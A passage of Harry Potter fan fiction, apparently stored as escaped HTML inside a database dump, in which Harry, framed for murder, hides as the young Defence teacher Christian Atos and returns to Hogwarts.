happening.&#8221;\n&#8216;Harry&#8217; watched them with an amused expression. It took them ten minutes to\ncalm down and get out of their shocked state. Dumbledore was the first to\nspeak. He didn&#8217;t seem shocked at all, but his face had a weird expression,\nwhich no one could read.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Is this true? Why didn&#8217;t you- he,\ntell me?&#8221; His voice showed no emotion whatsoever.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It is true,&#8221; &#8216;Harry&#8217; said. &#8220;And\nthat he never told you comes partly out of instinct, and partly out of the fact\nthat he could See the future. He can of course not See all of it, and even what\nhe Sees doesn&#8217;t need to happen. A Seer always Sees many different outcomes of\nthe future, and then he has to try to twist the present so the best of the\npossible outcomes is what becomes the past. You see, he knew about Hogwarts,\nand wizards and witches before he went there, but he had to pretend that he\ndidn&#8217;t because then his gift would have been discovered, which was something he\ndidn&#8217;t want to happen.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And why wouldn&#8217;t he let that\nhappen?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Because if everybody knew, someone\nwould have tried to use him, for bad or for good, and he didn&#8217;t want that to\nhappen. Seers often See things that are not so far into the future, because the\nfarther into the future they See, the less accurate is the prediction. But\nsometimes they See things which won\'t happen for years, and Harry Saw what\ncould, and I emphasise <i style="mso-bidi-font-style:normal">could, </i>happen\nif somebody got to know about his Sight. So he kept it secret, trying to do his\nbest with this gift.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He Saw that Voldemort was after the\nPhilosopher\'s Stone in his first year, but he didn&#8217;t know who helped him.&nbsp; Neither did he know how to get past the\nobstacles. He Saw the outcome in many different ways: in one, Voldemort got the\nstone; in another, he got the stone, and the stone corrupted him; in a third,\nhe got the stone, but died; in a fourth, he got the stone and survived, while\nVoldemort fled and the stone was destroyed; in a fifth he joined Voldemort, and\nso on. He could do nothing but follow Quirrel, though he didn&#8217;t know it was\nhim, to the stone, and hope it would end up as he wanted it to.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The same happened in his second\nyear; he Saw different outcomes, and had to try to turn it the right way. In\nhis third year, he had visions where Sirius was innocent, but he couldn&#8217;t be\nsure, because he had visions where he was guilty too.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">In his fourth year he Saw his name\ncome out of The Goblet Of Fire, but he could do nothing to stop it. However, he\ncould easily win the tournament, but something in him forbade him to show his\ntrue magical potential, so he faked problems and such, helped by his gift as a\nSeer. However, fate and destiny hid the fact that the Cup was a portkey, and\nCedric&#8217;s death.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And then came his fifth year.&#8221;\n&#8216;Harry&#8217; smiled grimly. &#8220;I guess Peter Pettigrew told you about the mind-potion\ngiven to Harry, so he would end up at the site? However, it was too weak to\noverwhelm him, it just made him unable to See for a few hours. When he Saw the\nmurder of Colin Creevey, it was already present. So he ran, hoping against hope\nthat he would reach Colin in time. But when he reached the fourth floor, it was\npast. And as he was there at the site, he got the vision of himself being\nframed for the murder and sent to Azkaban. The vision was so strong, and it\nshowed only one outcome, that he knew he couldn&#8217;t change the future this time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And so it happened, he was framed\nand found guilty of the murder of Colin Creevey, and everyone, even his closest\nfriends, turned against him, as he&#8217;d Seen they would. So, being the most\npowerful student Hogwarts had ever had, though no one knew that, he created me.\nFor the first time Harry understood why something, he didn\'t know what, had restrained\nhim from showing his true potential, because if everyone knew, they would know\nthat he easily could get out of Azkaban. He escaped less than three hours after\nhe was put into prison. Since the Dementors never check on their prisoners, it\nwas easy for him to put up a simple illusion: Me. It was also easy to make me\nradiate feelings so the Dementors wouldn&#8217;t notice that he&#8217;d escaped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">However, two persons believed in his\ninnocence. One was on the run from the Dementors, and the other was taken care\nof.&#8221; The illusion finished.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius stared at him &#8220;Who was the\none they &#8216;took care of&#8217;?&quot; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus Dumbledore,&#8221; came the answer.\n<i style="mso-bidi-font-style:normal">&#8216;Thud!&#8217;</i> Sirius fell off his chair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But he was one of the first who\nclaimed that you did it!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes he did, I said he was taken\ncare of.&#8221; By now, everybody in the room stared from &#8216;Harry&#8217; to Dumbledore and\nback again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You see, Dumbledore would never\naccept that one of his students was a murderer without proof, and if Dumbledore\nbelieved in Harry&#8217;s innocence, most of the teachers at school would have done\nthe same, and the students too, and the Ministry would have been forced to\nquestion him under Veritaserum.&#8221; Many shot a glance at Minister Fudge at\nthis.&nbsp; He had in fact tried to stop them\nfrom getting &#8216;Harry&#8217; away from Azkaban, despite what Pettigrew had told them.\nHe had, thankfully, not much support in the Ministry any longer, because six\nmonths after &#8216;Harry&#8217; was sent to Azkaban, Fudge was holding a speech for at\nleast five hundred wizards and witches. Fudge had been trying to convince them\nthat Voldemort hadn&#8217;t come back, when Voldemort and some Death Eaters turned up\nand killed half of them before disappearing. Since then, almost no one listened\nto Fudge. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;However, if Professor Dumbledore\nfirmly denied that Harry was innocent, then half the wizarding world would do\nthe same, and Voldemort knew that. So, he invented a Mind-controlling potion,\nwhich happened to end up in Dumbledore&#8217;s goblet. Under the influence of this\npotion, Professor Dumbledore would believe everything that was told him,\nwithout consideration. So, the first thing he heard when he arrived at the\nmurder site was, of course: &#8216;Harry Potter murdered Colin Creevey!&#8217; So\ntherefore, he believed that, without consideration, and half of the Wizarding\nworld with him.&#8221; &#8216;Harry&#8217; looked at Dumbledore, who didn&#8217;t show any sign of\nhaving heard what he said. &#8220;Now, that I have confronted him with it, the effect\nshould be totally gone in about 24 hours. But now I have to go, I&#8217;ve been here\nlong enough.&#8221; And with that, &#8216;Harry&#8217; started to fade, until there was nothing\nleft of the illusion. You could have heard a pin drop, and no one noticed the\nsmall beetle in the shadows. In the end, the Minister stood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nothing of this shall be mentioned\noutside these walls,&#8221; he stated firmly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The seventeen-year-old boy was\nawakened by a tapping on the window. He yawned and stretched, and drew a hand\nthrough his black hair. It was a messy mop, but nothing he did could change it.\nHe got out of bed and went over to the window. No less than three owls were\nwaiting for him, one of them a proud eagle owl, the second a small tawny owl,\nwhile the last one was black as the night, a rare french mountain owl. The\ntawny owl had the Daily Prophet in its beak, and left as soon as it had got\nfive knuts. The eagle owl bore a letter with the Hogwarts seal, and flew away\nas soon as it was freed from its burden. He quickly opened the letter and read\nit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">&#8216;Dear Mr. Atos,</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>I have received your academic\nrecords, and they are very impressive. However, I must ask for a meeting\nin person with you, together with the Headmaster, before I can grant you the\njob as our Defence Against The Dark Arts Teacher. </i><i>Please come to Hogwarts the tenth of July.</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Yours Sincerely,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Minerva McGonagall,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Deputy Headmistress,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Hogwarts School of Witchcraft\nand Wizardry.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He smiled and turned to the black\nowl, and frowned. The owl was black, but some white feathers were sticking out\nat its belly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Your disguise is wearing off,\nHedwig. Stand still, I have to restore it.&#8221; With a wave of his hand, the black\nowl suddenly was a pure white snowy owl. Another wave, and the black owl was\nback, without the white feathers. The boy smiled, and opened the letter she had\nbrought him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">&#8216;Dear Christian,</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">How wonderful that you are applying for the Defence Against The Dark\nArts position at Hogwarts.&nbsp; As my most\nbrilliant student ever I believe you will do just fine. It&#8217;s a pity you stayed\nwith us for just a year. However, you are quite young, so they may be hesitant\nto give the job to you, despite your records, so I have sent a letter to Albus\nwhere I strongly recommend you. Good luck,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Your former Headmistress,</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">Madam Maxime&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">His smile widened, as he wrote a\nthankful note back, before he turned back to the newspaper, which he hadn&#8217;t\nread yet. His smile quickly became a wide grin as he read.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><i style="mso-bidi-font-style:normal">HARRY POTTER ESCAPED AZKABAN BEFORE HE EVEN\nWENT THERE!</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8216;When\nPeter Pettigrew was questioned yesterday, he said something about his master&#8217;s\nplan, and when he was asked what the plan was, he answered that You-Know-Who\nhad planned how to get Harry Potter into Azkaban, and now he planned to go to\nAzkaban to convert the now probably insane Potter. When he said that, Sirius\nBlack, (who seconds before had been proven innocent of the crime he sat twelve\nyears in prison for) jumped up and yelled about him never believing in his\ngodson\'s guilt, and that they had to retrieve Potter from Azkaban immediately.\nThe man obviously took mental damage during his stay in Azkaban. However, the\nothers in fact listened to him, and two hours later Potter had arrived.\nHowever, it turned out to be just an illusion of Potter, and no-one knows where\nPotter is now, where he is hiding or who is hiding him. His escape can do\nnothing but prove his guilt.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The article went on like that for a\nwhile, and yes, at the bottom it stood: <i style="mso-bidi-font-style:normal">The\nDaily Prophet, 8th of July, by Rita Skeeter.</i> He shook his head,\nbut then someone knocked on the door. He quickly hid everything of his wizard\nstuff, before he closed his eyes and concentrated. Black, messy hair turned\ninto dark brown, short hair, green eyes to blue, facial features changed and\nthe lightning-bolt shaped scar disappeared without a trace, and the rest of the\nbody became slightly broader and a bit taller. Christian Atos alias Harry\nPotter thanked his lucky stars for his Shapeshifter ability for the thousandth\ntime, and went to open the door. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">It was only the old lady who came to\ncheck if he had done something &#8216;inappropriate&#8217; (like female visits) in the last\nfew hours. Christian/Harry kept his laughter back out of sheer politeness. The\nold lady, Ms. Stenson, considered Christian as something of a great-grand\nchild. He found it quite charming, and after assuring her he hadn&#8217;t done\nanything &#8216;inappropriate&#8217;, he told her he would be gone the next day, maybe more\nthan one day, and he would move out before the first of September. She started\nranting about &#8216;youngsters these days&#8217;, and how restless they were. Christian\njust smiled and shook his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione Granger didn&#8217;t really know\nwhat to think. Yesterday it had been a large article about Harry, her former\nfriend and now murderer, by Rita Skeeter, where she wrote about Harry&#8217;s escape\nfrom Azkaban, and that he was guilty and all.&nbsp;\nShe also wrote that Sirius was a madman, but today it was a new article,\nby Marice Newman, which told a very different story, about Harry being innocent\nand Sirius freed, nothing about Sirius being mad, Harry as a Seer, and that he\nhad created an illusion of himself which had been in Azkaban for two years now.\n<i style="mso-bidi-font-style:normal">Hey, what am I thinking? Believing in\nRita Skeeter? Am I out of my mind?</i> But yet, she couldn&#8217;t really believe\nthat Harry was innocent, because Professor Dumbledore believed he was guilty,\nand he was always right, wasn&#8217;t he?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron Weasley was having some of the\nsame thoughts as he read the last few days&#8217; papers. He didn&#8217;t believe in\nanything the Skeeter woman wrote anymore, but Marice Newman was fairly\ntruthful, one of the best reporters The Daily Prophet had. <i style="mso-bidi-font-style:\nnormal">Could it really be true? Is it possible?</i> Ron had spent much time\nthinking the last two years, and he had soon started to wonder if he had been\nwrong. Had it been his underlying jealousy of Harry that had caused him to\nbelieve in the charges against Harry? He didn&#8217;t know, he just knew he had a\nhorrible feeling of guilt all the time. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He fingered the Head Boy badge he\nhad received together with the School supplies letter. His mother had been so\nproud. He Head Boy, Hermione Head Girl. He sighed as he thought of Hermione.\nShe fully believed in the charges, and he knew why. She had had this small- or\nshould I say huge- crush on Harry, and she had felt so betrayed when he turned\nout to be a murderer. His own crush on Hermione had thankfully disappeared\ntogether with Harry; he doubted Hermione ever would fall for anyone again. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He threw the badge across the room.\nIt was Harry&#8217;s, not his.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Christian approached Hogwarts&#8217; main\nentrance. If he got the job, he would be able to help to defeat Voldemort\nwithout revealing the fact that he indeed was Harry Potter. Now, the whole\nwizarding world would be looking for him, and he was in fact quite pleased with\nthe havoc his illusion had caused, and it was really funny to read about it in\nthe papers. Even though Fudge had tried to keep it secret, he had not\nsucceeded. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He approached the door and knocked\nthree times, and after a while, Minerva McGonagall opened it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Who are you?&#8221; she asked, frowning.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Christian Atos, I&#8217;m applying for\nthe Defence Against The Dark Arts job.&#8221; He answered. A shocked expression\npassed quickly over her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh. Well then, follow me please.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry had to struggle not to reveal\nthat he knew the ways around the castle, and when they came to the gargoyle he\nfought to keep a straight face. The password was &#8216;Canary Creams&#8217;, an invention\nby the Weasley twins. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">McGonagall knocked on the door once\nand went in, Harry followed. How weird. In a month and a half he was supposed\nto start his seventh year here, but now he was applying for the position as a\nteacher! Being a colleague of his former teachers, and teaching his best\nfriends. <i style="mso-bidi-font-style:normal">Former best friends, </i>he\nreminded himself.&nbsp; However, it is\ndifficult for a Seer to stay bitter and angry. It has something to do with\nbeing a Seer. Being able to See the future made him put things in another\nperspective than normal people would.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well, Mr. Atos, I&#8217;ll go straight to\nthe point,&#8221; Dumbledore said, as soon as he&#8217;d seated himself. &#8220;You have applied\nfor the Defence Against The Dark Arts position, and your academic records are\nquite impressive, having finished school at the age of fifteen. However, you\nare very young, being only seventeen you will be the youngest teacher Hogwarts\nhas ever had. So I must ask you if you have any experience with these things.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I have no experiences in teaching,&#8221;\nHarry answered truthfully, &#8220;but I&#8217;d say I have quite a lot experience with defence\nagainst and also use of the dark arts.&#8221; Dumbledore frowned slightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Care to elaborate?&#8221; Harry\nsuppressed a smile, Dumbledore knew quite a lot of <i style="mso-bidi-font-style:\nnormal">his</i> experiences with the dark arts, however he faked a sigh, and\nmade ready to tell the story he&#8217;d used the last two years.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The first fifteen years of my life\nI was taught at home, by my parents, before I at fifteen ran away, and ended up\nat Beauxbatons.&#8221; He paused, while the Professors looked at him curiously. &#8220;I\nran away because they were Death Eaters.&#8221; Then he added, before they could say\nanything, &#8220;and yes, Madam Maxime knows.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">==================</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Note: Go me. Second chapter. All\nchapters are beta-read by the-dreamer. Go her.</p>\n\n\n\n\n\n\n'),
	(234, 3, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter Three: Back To Hogwarts</b> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron and Hermione had trouble. Big\ntrouble. They were supposed to take the Muggle bus from the Leaky Cauldron to\nKing\'s Cross, but due to traffic, they had just figured they would never, ever\nmake it. What a start for their seventh year, as Head Boy and Girl&#8230; Hermione\nwas, to put it in polite terms, fuming, and even though it wasn&#8217;t Ron&#8217;s fault,\nhe was the one who paid for it.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;I can&#8217;t\nbelieve it! Of all my years at Hogwarts, my last one has to be the one I miss\nthe train!&#8221; Hermione almost screamed, as they still weren&#8217;t any closer to\nKing\'s Cross, and the train would leave in 15 minutes. She kept on ranting\nabout it, much to Ron&#8217;s desperation, for about five minutes, before she decided\nthey had to send an owl to Professor Dumbledore, however embarrassing it might\nbe. But just as Ron managed to get a frantic Pig out of his cage, a blue\nMercedes stopped right beside them. A young man, 18 years old or so, was\ndriving. He removed his sunglasses and looked at them with his pale blue eyes.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Problems?&#8221;\nhe asked, as Ron quickly stepped in front of Pig&#8217;s cage so he shouldn&#8217;t see\nhim.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Err&#8230; No.&#8221; He\nanswered.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;I think you\nhave. Heading for King\'s Cross, Platform 9 and &#190;?&#8221; Ron&#8217;s mouth dropped open,\nand so did Hermione\'s. &#8220;As I thought,&#8221; he said, smiling slightly. &#8220;Well, jump\nin, you ain&#8217;t going to get there if you don&#8217;t hurry, and certainly not by\nfoot.&#8221; Hermione looked at Ron. They knew they shouldn&#8217;t trust strangers these\ndays, but they really had to catch that train. And besides, <i style="mso-bidi-font-style:normal">they </i>were two, while <i style="mso-bidi-font-style:normal">he </i>was just one. Ron shrugged, and\nquickly got their trunks and Pig&#8217;s cage into the car.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;I&#8217;m\nChristian Atos by the way,&#8221; the driver said as he started off. He was a damn\ngood driver, and the car slid in and out between cars so easily that it could\nhave been magic, which it probably was.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Hermione\nGranger.&#8221; </p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Ron\nWeasley.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Nice to meet\nyou.&#8221; He said.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Likewise,&#8221;\nthey answered in unison, before they lapsed into silence.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Excuse me,&#8221;\nHermione said curiously breaking the awkward silence. &#8220;Are you going to\nHogwarts? I don&#8217;t think I&#8217;ve seen you there before.&#8221; Christian smiled.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;No, you\nprobably haven&#8217;t. I graduated from Beauxbatons a year ago.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Oh.&#8221; Pause.\n&#8220;Why are you going to Hogwarts then?&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;I&#8217;m the new\nDefence Against the Dark Arts teacher. I had some stuff to get in Diagon\nAlley.&nbsp; If I hadn&#8217;t then you two would\nhave missed the train.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;But aren&#8217;t\nyou a bit young? I don\'t mean to be rude, but you do look like a school boy.&#8221;\nHermione said, a bit shocked. Then she mentally slapped herself. He was driving\na <i>car. </i>To drive a car you had to be eighteen. If you were eighteen, you\nhad graduated.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Well, you\ncould maybe say I am.&nbsp; I graduated from\nBeauxbatons at fifteen, a year ago or so. Based on a normal schedule I should\nstart at my seventh year today,&#8221; he said as he drove into King\'s Cross, five\nminutes to eleven. He parked the car and ignored Ron\'s and Hermione&#8217;s shocked\nsilence. </p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;You should\nhurry,&#8221; he said amused, &#8220;or you\'ll miss the train anyway.&#8221; He helped Ron and\nHermione with their trunks, when something suddenly occurred to Hermione. </p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;But if you\ngraduated two years ago, why didn&#8217;t you just apparate? I mean, you do have an\napparation license?&#8221; </p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Why, yes,\nbut do you know how many apparation wards I have to get past before I reach\nHogwarts? I would have to apparate to <i>sixteen </i>different spots before I\nwould be able to get to Hogsmeade. It&#8217;s almost faster to go Muggle ways, and\nmuch simpler. So therefore I borrowed this car from a friend.&#8221; What he didn&#8217;t\nsay, was that he wanted to take the train with the students, mainly because he\nwanted to see the two of them before school started.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Oh.&#8221;\nHermione scolded herself, couldn&#8217;t she come up with something more intelligent\nthan an &#8216;Oh&#8217;? They passed through the barrier and he disappeared in the crowd,\nto Hermione\'s dismay. There was something about this guy that attracted her,\nand it was not only the fact that he was <i style="mso-bidi-font-style:normal">very</i>\nhandsome. She&#8217;d only met one guy she&#8217;d thought more handsome than him, and <i style="mso-bidi-font-style:normal">he </i>wasn&#8217;t someone she liked to think\nabout.</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">~*~</p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">Christian sat\nat the Head Table, clad in dark blue robes, when the students entered. He saw\nRon and Hermione glance quickly at him, and sent them a small smile, and noted,\nnot very surprised that they were Head Boy and Girl. He paid little attention\nto the sorting, but looked around in the crowd at all the familiar faces,\nignoring the small sting of pain he felt. Before he knew it, the sorting was\nfinished, and Professor Dumbledore welcomed the students and the food appeared.\nIt was now that most of the students first noticed him, and he saw them whisper\nand point. He ignored them and turned to his neighbour, Professor Snape. He had\nhad a brief &#8216;first&#8217; introduction, but wasn&#8217;t supposed to know that normal, sane\npeople avoided him at all costs, especially at the start of term. </p>\n\n<p class="MsoNormal" style="margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt;\nmargin-left:0cm">&#8220;Good\nevening, you are Professor Severus Snape, if I recall correctly?&#8221; A &#8216;humph&#8217; was\nall he got as an answer. Christian didn&#8217;t let this stop him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Potions teacher?&#8221; Another &#8216;humph&#8217;.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You know, potions was my favourite\nsubject at school,&#8221; finally he got something more than a &#8216;humph&#8217;. Professor\nSnape raised an eyebrow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Indeed? I thought Defence Against\nthe Dark Arts was your subject.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I said <i style="mso-bidi-font-style:\nnormal">favourite</i> subject, not <i style="mso-bidi-font-style:normal">best</i>\nsubject.&#8221; Christian replied with a small twitch of his lips. From then on,\ntheir conversation turned to potions, and to Snape&#8217;s surprise and delight the\nboy was really good. The teachers who sat near them and could hear what they\nsaid, listened in surprise for a while, but then shrugged and went back to\ntheir meals. Before the meal was over, Snape had managed to get through a\nconversation without snapping or growling at the other part.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">However, at last the meal was over,\nand Dumbledore rose. All chatter subsided as the students turned their\nattention to their Headmaster.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Welcome to another year at\nHogwarts. I hope you have spent your summer well, and have now returned with a\nnice and empty head, ready to be refilled. This year we have a new teacher with\nus, Mr. Christian Atos, who will teach Defence Against The Dark Arts.&#8221; People\napplauded, and curiously enough, the female part of the student body clapped\nthe most. &#8220;I must remind you all that the Forbidden Forest is as forbidden as\never, and curfew is at eight, right after dinner. It is forbidden to leave the\ncastle without a teacher, Prefect or Head Girl or Boy, and Quidditch has to be\nsupervised by a teacher. Before you can go to bed, I will just say a few words:\nCourage. Friendship. Loyalty. Good night.&#8221; The students started to file out of\nthe hall, though many of the older girls kept throwing glances at Christian,\nwho had to fight to keep a straight face. The whole thing was starting to get\namusing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8220;You saw him?&#8221; </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8220;Of course I did! Who didn&#8217;t?&#8221; </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8220;He&#8217;s\nvery young.&#8221; </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8220;And really handsome&#8230;&#8221;</i> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Giggling. The new Defence Against\nthe Dark Arts teacher was the main conversation subject that night, and it\nannoyed Hermione to no end. Okay, he was handsome, she couldn&#8217;t deny that, but\ndid they have to drool over <i style="mso-bidi-font-style:normal">every</i>\ngood-looking guy they met? Sighing, Hermione lit her wand and found the book she&#8217;d\nbeen reading over the holidays. She had borrowed it from the Hogwarts Library,\nRestricted Section before school ended last year, because she needed it for her\nhomework. The title read: <i style="mso-bidi-font-style:normal">Magical\nHistory: Great Wizards And Witches and their power. </i>It was quite a large\nvolume, ten thousand pages. She&#8217;d had to shrink it and then use an enlargement\ncharm on the letters so she could read. The way it worked was, when she read,\none sentence would be enlarged so she could read, and when she was 